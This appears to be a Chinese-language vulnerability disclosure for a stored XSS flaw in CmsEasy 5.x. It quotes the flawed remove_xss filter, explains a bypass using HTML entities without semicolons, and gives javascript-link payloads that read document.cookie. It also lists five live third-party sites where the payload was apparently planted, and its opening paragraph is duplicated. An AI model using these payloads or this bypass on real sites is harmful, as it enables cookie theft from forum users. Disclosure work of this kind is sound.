### 简要描述: cmseasy某处存在存储型xss 影响版本:CmsEasy_5.x(包括最新版CmsEasy_5.5_UTF-8_20140420) ### 详细说明: 影响版本:CmsEasy_5.x(包括最新版CmsEasy_5.5_UTF-8_20140420) 存在漏洞的文件:bbs_public.php 用户量级:250,000 [<img src="https://images.seebug.org/upload/201406/031800218903d3189441602fc8eedd6e5249170f.jpg" alt="cmseasy.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/031800218903d3189441602fc8eedd6e5249170f.jpg) BBS下所有POST提交,都会经过bbs_public.php文件里的remove_xss函数过滤,此函数在bbs_public.php文件的35行,存在问题的代码如下: ``` function remove_xss($val){ $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); //可以看到,这里对于html实体解码包含了;,可是浏览器对于没有;的html实体也可以解码 $val =...
### 简要描述: cmseasy某处存在存储型xss 影响版本:CmsEasy_5.x(包括最新版CmsEasy_5.5_UTF-8_20140420) ### 详细说明: 影响版本:CmsEasy_5.x(包括最新版CmsEasy_5.5_UTF-8_20140420) 存在漏洞的文件:bbs_public.php 用户量级:250,000 [<img src="https://images.seebug.org/upload/201406/031800218903d3189441602fc8eedd6e5249170f.jpg" alt="cmseasy.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/031800218903d3189441602fc8eedd6e5249170f.jpg) BBS下所有POST提交,都会经过bbs_public.php文件里的remove_xss函数过滤,此函数在bbs_public.php文件的35行,存在问题的代码如下: ``` function remove_xss($val){ $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); //可以看到,这里对于html实体解码包含了;,可是浏览器对于没有;的html实体也可以解码 $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); } $val = html_entity_decode($val); if(preg_match('/&#(\d+);/', $val)){ exit('error'); //这里的判断也包括了;,所以我们可以去掉;来绕过 } if(preg_match('/&#[xX](\d+);/', $val)){ exit('error'); } ``` POC如下: 在bbs的内容处填入: ``` <a href="java5cript:alert(document.cookie)">点这里!!!</a> ``` 此POC可在CmsEasy_5.5_UTF-8_2014xxxx版本上利用,如下图: [<img src="https://images.seebug.org/upload/201406/0319050911723cca92aca4633e3f52e6800e49f2.jpg" alt="cms2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319050911723cca92aca4633e3f52e6800e49f2.jpg) 本来到此应该结束了,但是在网上找实例的时候,发现这个poc在2013之前的版本不行,所以如果是2013之前的版本,用如下POC: ``` <a href="javascript:alert(document.cookie)">点这里!!!</a> ``` 第一个实例: 5.5 2013版本的 http://www.cosiqqi.com/bbs/archive-display.php?aid=3 [<img src="https://images.seebug.org/upload/201406/0319082050fcba4f01a425188ea9ef719ff9c063.jpg" alt="cms3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319082050fcba4f01a425188ea9ef719ff9c063.jpg) [<img src="https://images.seebug.org/upload/201406/0319084081c54e5740b4fd22438b9cf9517883bb.jpg" alt="cms4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319084081c54e5740b4fd22438b9cf9517883bb.jpg) 第二个实例: 5.5 20121112版本的 http://www.cdsyzn.com/bbs/archive-display.php?aid=4 [<img src="https://images.seebug.org/upload/201406/03191152a7f97b631e21a3a6d19b129a8e0d2a5c.jpg" alt="cms5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/03191152a7f97b631e21a3a6d19b129a8e0d2a5c.jpg) 第三个实例: 5.5 20130605版本的 www.e-metersbonwe.com/bbs/archive-display.php?aid=1 [<img src="https://images.seebug.org/upload/201406/03193126f5e708820347e007fc5a8329ac75a62d.jpg" alt="cms6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/03193126f5e708820347e007fc5a8329ac75a62d.jpg) 第四个实例: 5.5 20140118版本 http://www.lings24.com/bbs/archive-display.php?aid=1 [<img src="https://images.seebug.org/upload/201406/031936358c645097f282c55b36a948723212c379.jpg" alt="cms7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/031936358c645097f282c55b36a948723212c379.jpg) 第五个实例: 最新版5.5_UTF-8_20140420版本 http://www.hocoson.cn/bbs/archive-display.php?aid=1 [<img src="https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg" alt="cms8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg) ### 漏洞证明: 5.5_UTF-8_20140420版本 http://www.hocoson.cn/bbs/archive-display.php?aid=1 [<img src="https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg" alt="cms8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/0319484020002cb8d7eb2f4444c065be0c4a99ca.jpg)